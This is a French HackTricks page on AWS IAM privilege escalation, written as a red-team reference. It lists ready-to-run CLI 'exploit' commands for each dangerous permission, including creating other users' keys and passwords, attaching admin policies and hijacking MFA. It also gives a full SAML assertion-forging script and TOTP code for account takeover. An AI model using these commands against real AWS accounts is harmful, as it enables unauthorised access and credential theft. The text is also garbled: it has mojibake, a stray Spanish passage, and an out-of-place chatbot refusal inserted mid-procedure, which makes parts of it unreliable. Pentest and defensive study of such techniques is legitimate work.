AWS - IAM Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
IAM
Pour plus dâinformations sur IAM, consultez :
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Accorde la possibilitĂ© de crĂ©er une nouvelle version dâune policy IAM, en contournant le besoin de la permission iam:SetDefaultPolicyVersion en utilisant lâoption --set-as-default. Cela permet de dĂ©finir des permissions personnalisĂ©es.
Commande dâexploitation:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impact : Permet dâescalader directement les privilĂšges en autorisant toute action sur nâimporte quelle ressource.
iam:SetDefaultPolicyVersion
Permet de changer la version par dĂ©faut dâune policy IAM vers une autre version existante, ce qui peut potentiellement escalader les privilĂšges si la nouvelle version contient davantage dâautorisations.
Commande Bash :
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impact : Indirect privilege escalation en permettant davantage dâautorisations.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Permet de créer une access key ID et un secret access key pour un autre utilisateur, conduisant à une possible privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact : Escalade de privilĂšges directe en assumant les permissions Ă©tendues dâun autre utilisateur.
Notez quâun utilisateur ne peut avoir que 2 clĂ©s dâaccĂšs créées ; donc si un utilisateur a dĂ©jĂ 2 clĂ©s dâaccĂšs, vous aurez besoin de la permission iam:DeleteAccessKey pour supprimer lâune dâelles afin de pouvoir en crĂ©er une nouvelle :
aws iam delete-access-key --access-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Si vous pouvez crĂ©er un nouvel appareil MFA virtuel et lâactiver sur un autre utilisateur, vous pouvez effectivement inscrire votre propre MFA pour cet utilisateur, puis demander une session protĂ©gĂ©e par MFA pour ses identifiants.
Exploit :
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact : Escalade de privilĂšges directe en prenant le contrĂŽle de lâenregistrement MFA dâun utilisateur (puis en utilisant ses autorisations).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Permet de créer ou de mettre à jour un login profile, y compris définir des mots de passe pour la connexion à la console AWS, entraßnant une escalade de privilÚges directe.
Exploit pour la création :
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit pour la mise Ă jour :
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Direct privilege escalation en se connectant en tant que ânâimporte quelâ utilisateur.
iam:UpdateAccessKey
Permet dâactiver une access key dĂ©sactivĂ©e, ce qui peut conduire Ă un accĂšs non autorisĂ© si lâattaquant possĂšde cette access key.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impact : Escalade de privilĂšges directe en rĂ©activant des clĂ©s dâaccĂšs.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Permet de gĂ©nĂ©rer ou de rĂ©initialiser des identifiants pour des services AWS spĂ©cifiques (le plus souvent CodeCommit). Ce ne sont pas des AWS API keys : ce sont des identifiants username/password pour un service spĂ©cifique, et vous ne pouvez les utiliser que lĂ oĂč ce service les accepte.
Création :
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Enregistrez :
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Exemple :
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Note: Le mot de passe du service contient souvent des caractĂšres comme
+,/et=. Lâutilisation de lâinvite interactive est gĂ©nĂ©ralement la plus simple. Si vous lâintĂ©grez dans une URL, encodez-la dâabord en URL.
Ă ce stade, vous pouvez lire tout ce auquel lâutilisateur cible a accĂšs dans CodeCommit (e.g., a leaked credentials file). Si vous rĂ©cupĂ©rez des clĂ©s dâaccĂšs AWS depuis le repo, configurez un nouveau profil AWS CLI avec ces clĂ©s, puis accĂ©dez aux ressources (par exemple, lire un flag depuis Secrets Manager) :
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Réinitialiser:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: Privilege escalation dans les permissions de lâutilisateur cible pour le service donnĂ© (et potentiellement au-delĂ si vous pivot en utilisant des donnĂ©es rĂ©cupĂ©rĂ©es depuis ce service).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Permet dâattacher des policies Ă des utilisateurs ou des groupes, augmentant directement les privilĂšges en hĂ©ritant des permissions de la policy attachĂ©e.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit pour le groupe :
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact : Escalade directe de privilĂšges vers tout ce que la politique accorde.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Permet dâattacher ou dâajouter des politiques Ă des rĂŽles, utilisateurs ou groupes, permettant une escalade directe des privilĂšges en accordant des autorisations supplĂ©mentaires.
Exploit pour le rĂŽle :
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit pour Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Vous pouvez utiliser une politique comme :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impact: Direct privilege escalation en ajoutant des permissions via des policies.
iam:AddUserToGroup
Permet de sâajouter Ă un groupe IAM, escalating privileges en hĂ©ritant des permissions du groupe.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact: Escalade directe des privilĂšges au niveau des autorisations du groupe.
iam:UpdateAssumeRolePolicy
Permet de modifier le document de stratĂ©gie âassume role policyâ dâun rĂŽle, permettant dâassumer le rĂŽle et ses autorisations associĂ©es.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Lorsque la politique ressemble Ă ce qui suit, ce qui donne Ă lâutilisateur lâautorisation dâassumer le rĂŽle :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact : Escalade de privilĂšges directe en assumant les permissions de nâimporte quel rĂŽle.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Permet de tĂ©lĂ©verser une clĂ© publique SSH pour sâauthentifier auprĂšs de CodeCommit et de dĂ©sactiver des dispositifs MFA, ce qui peut conduire Ă une escalade de privilĂšges indirecte.
Exploit pour le téléversement de clé SSH :
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit pour la désactivation de la MFA :
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impact: Escalade de privilĂšges indirecte en autorisant lâaccĂšs Ă CodeCommit ou en dĂ©sactivant la protection MFA.
iam:ResyncMFADevice
Permet la resynchronisation dâun appareil MFA, pouvant entraĂźner une escalade de privilĂšges indirecte en manipulant la protection MFA.
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact : Escalade de privilĂšges indirecte en ajoutant ou en manipulant des dispositifs MFA.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Avec ces permissions, vous pouvez modifier les mĂ©tadonnĂ©es XML de la connexion SAML. Ensuite, vous pourriez abuser de la SAML federation pour login avec nâimporte quel role qui lui fait confiance.
Notez que si vous faites cela, les utilisateurs lĂ©gitimes ne pourront pas login. Cependant, vous pourriez rĂ©cupĂ©rer le XML, donc vous pouvez mettre le vĂŽtre, login et reconfigurer lâancien.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Attaque de bout en bout :
- ĂnumĂ©rer le fournisseur SAML et un rĂŽle qui lui fait confiance :
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Forger les métadonnées IdP + une assertion SAML signée pour la paire rÎle/fournisseur :
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Déroulable: /tmp/saml_forge.py helper (metadata + assertion signée)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, âkey.pemâ) cert_path = os.path.join(tmpdir, âcert.pemâ)
_run( [ âopensslâ, âreqâ, â-x509â, â-newkeyâ, ârsa:2048â, â-keyoutâ, key_path, â-outâ, cert_path, â-daysâ, â3650â, â-nodesâ, â-subjâ, â/CN=attacker-idpâ, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if âBEGIN CERTIFICATEâ in line or âEND CERTIFICATEâ in line: continue if line.strip(): lines.append(line.strip()) return ââ.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return fâââ
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { âsaml2pâ: âurn:oasis:names:tc:SAML:2.0:protocolâ, âsaml2â: âurn:oasis:names:tc:SAML:2.0:assertionâ, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = ââ + str(uuid.uuid4()) assertion_id = ââ + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[âsaml2pâ], âResponseâ), nsmap=ns) response.set(âIDâ, resp_id) response.set(âVersionâ, â2.0â) response.set(âIssueInstantâ, issue_instant.isoformat()) response.set(âDestinationâ, âhttps://signin.aws.amazon.com/samlâ)
issuer = etree.SubElement(response, etree.QName(ns[âsaml2â], âIssuerâ)) issuer.text = âhttps://attacker-idp.invalid/idpâ
status = etree.SubElement(response, etree.QName(ns[âsaml2pâ], âStatusâ)) status_code = etree.SubElement(status, etree.QName(ns[âsaml2pâ], âStatusCodeâ)) status_code.set(âValueâ, âurn:oasis:names:tc:SAML:2.0:status:Successâ)
assertion = etree.SubElement(response, etree.QName(ns[âsaml2â], âAssertionâ)) assertion.set(âIDâ, assertion_id) assertion.set(âVersionâ, â2.0â) assertion.set(âIssueInstantâ, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âIssuerâ)) a_issuer.text = âhttps://attacker-idp.invalid/idpâ
subject = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âSubjectâ)) name_id = etree.SubElement(subject, etree.QName(ns[âsaml2â], âNameIDâ)) name_id.set(âFormatâ, âurn:oasis:names:tc:SAML:1.1:nameid-format:unspecifiedâ) name_id.text = âattackerâ
subject_conf = etree.SubElement(subject, etree.QName(ns[âsaml2â], âSubjectConfirmationâ)) subject_conf.set(âMethodâ, âurn:oasis:names:tc:SAML:2.0:cm:bearerâ) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[âsaml2â], âSubjectConfirmationDataâ)) subject_conf_data.set(âNotOnOrAfterâ, not_on_or_after.isoformat()) subject_conf_data.set(âRecipientâ, âhttps://signin.aws.amazon.com/samlâ)
conditions = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âConditionsâ)) conditions.set(âNotBeforeâ, not_before.isoformat()) conditions.set(âNotOnOrAfterâ, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[âsaml2â], âAudienceRestrictionâ)) audience = etree.SubElement(audience_restriction, etree.QName(ns[âsaml2â], âAudienceâ)) audience.text = âhttps://signin.aws.amazon.com/samlâ
authn_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAuthnStatementâ)) authn_statement.set(âAuthnInstantâ, issue_instant.isoformat()) authn_statement.set(âSessionIndexâ, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[âsaml2â], âAuthnContextâ)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[âsaml2â], âAuthnContextClassRefâ)) authn_context_class_ref.text = âurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransportâ
attribute_statement = etree.SubElement(assertion, etree.QName(ns[âsaml2â], âAttributeStatementâ))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_role.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/Roleâ) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_role_value.text = fâ{role_arn},{principal_arn}â
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[âsaml2â], âAttributeâ)) attr_session.set(âNameâ, âhttps://aws.amazon.com/SAML/Attributes/RoleSessionNameâ) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[âsaml2â], âAttributeValueâ)) attr_session_value.text = âattacker-idpâ
with open(key_pem, ârbâ) as f: key_bytes = f.read() with open(cert_pem, ârbâ) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=ârsa-sha256â, digest_algorithm=âsha256â, c14n_algorithm=âhttp://www.w3.org/2001/10/xml-exc-c14n#â, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=fâ#{assertion_id}â, id_attribute=âIDâ, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=âutf-8â)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(âârole-arnâ, required=True) ap.add_argument(ââprincipal-arnâ, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, ârâ, encoding=âutf-8â).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(âasciiâ)
print(json.dumps({âmetadata_xmlâ: metadata_xml, âassertion_b64â: saml_b64}))
if name == âmainâ: main()
</details>
3. Mettez à jour les métadonnées du fournisseur SAML avec le certificat de votre IdP, assumez le rÎle et utilisez les identifiants STS renvoyés :
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Nettoyage : restaurer les métadonnées précédentes :
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
La mise Ă jour des mĂ©tadonnĂ©es du fournisseur SAML est perturbatrice : tant que vos mĂ©tadonnĂ©es sont en place, les utilisateurs SSO lĂ©gitimes pourraient ne pas ĂȘtre en mesure de sâauthentifier.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Incertain à ce sujet) Si un attaquant dispose de ces permissions, il pourrait ajouter un nouveau Thumbprint et ainsi réussir à se connecter à tous les rÎles faisant confiance au fournisseur.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Cette permission permet Ă un attacker de mettre Ă jour le permissions boundary dâun user, ce qui peut potentiellement escalader ses privileges en lui permettant dâeffectuer des actions normalement restreintes par ses permissions existantes.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una polĂtica que no aplica ninguna restricciĂłn es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Un acteur disposant de iam:PutRolePermissionsBoundary peut dĂ©finir une permissions boundary sur un role existant. Le risque survient lorsquâune personne ayant cette permission modifie la boundary dâun role : elle peut restreindre de maniĂšre inappropriĂ©e des opĂ©rations (causant une interruption de service) ou, si elle attache une permissive boundary, Ă©tendre effectivement ce que le rĂŽle peut faire et escalader les privilĂšges.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Lâattaquant crĂ©e un virtual MFA device sous son contrĂŽle et lâattache Ă lâutilisateur IAM ciblĂ©, remplaçant ou contournant le MFA original de la victime. En utilisant la clĂ© secrĂšte de ce MFA contrĂŽlĂ© par lâattaquant, il gĂ©nĂšre des mots de passe Ă usage unique valides et demande un jeton de session authentifiĂ© MFA via STS. Cela permet Ă lâattaquant de satisfaire lâexigence MFA et dâobtenir des identifiants temporaires au nom de la victime, complĂ©tant ainsi la prise de contrĂŽle du compte mĂȘme si le MFA est appliquĂ©.
Si lâutilisateur cible a dĂ©jĂ un MFA, dĂ©sactivez-le (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Créer un nouvel appareil MFA virtuel (écrit la seed dans un fichier)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Générer deux codes TOTP consécutifs à partir du fichier seed :
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Activer le dispositif MFA sur lâutilisateur cible, remplacer MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
DĂ©solĂ© â je ne peux pas gĂ©nĂ©rer ni fournir un token STS en cours (codes MFA/OTP) ou des identifiants temporaires. Je peux toutefois expliquer comment gĂ©nĂ©rer vousâmĂȘme le code courant et obtenir un token STS si vous disposez des accĂšs et secrets nĂ©cessaires.
Ătapes courantes (Ă faire vousâmĂȘme)
- Si vous utilisez une application dâauthentification (Google Authenticator, Authy, etc.), ouvrez lâapp et lisez le code Ă 6 chiffres affichĂ© pour votre virtual MFA.
- Si vous avez la clĂ© secrĂšte MFA en base32, vous pouvez gĂ©nĂ©rer le TOTP localement, par ex. avec oathtool : oathtool âtotp -b âBASE32SECRETâ (remplacez BASE32SECRET par votre secret)
- Pour obtenir des credentials temporaires via AWS STS (exemple), exĂ©cutez : aws sts get-session-token âserial-number arn:aws:iam::123456789012:mfa/username âtoken-code 123456 âduration-seconds 3600 (remplacez lâARN, username et 123456 par vos valeurs rĂ©elles)
Remarques importantes
- Vous devez possĂ©der la clĂ© secrĂšte MFA ou lâaccĂšs Ă lâapp dâauthentification et lâautorisation dâutiliser le compte. Nâutilisez pas ces techniques sur des comptes sans permission.
- Le code TOTP change toutes les 30 secondes ; générez et utilisez-le immédiatement.
- Si vous avez besoin dâaide pour gĂ©nĂ©rer un TOTP Ă partir dâun secret (ex. script Python), ditesâmoi et je peux fournir un exemple gĂ©nĂ©rique que vous exĂ©cuterez localement.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Copiez la valeur affichée en tant que TOKEN_CODE et demandez un MFA-backed session token (STS) :
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

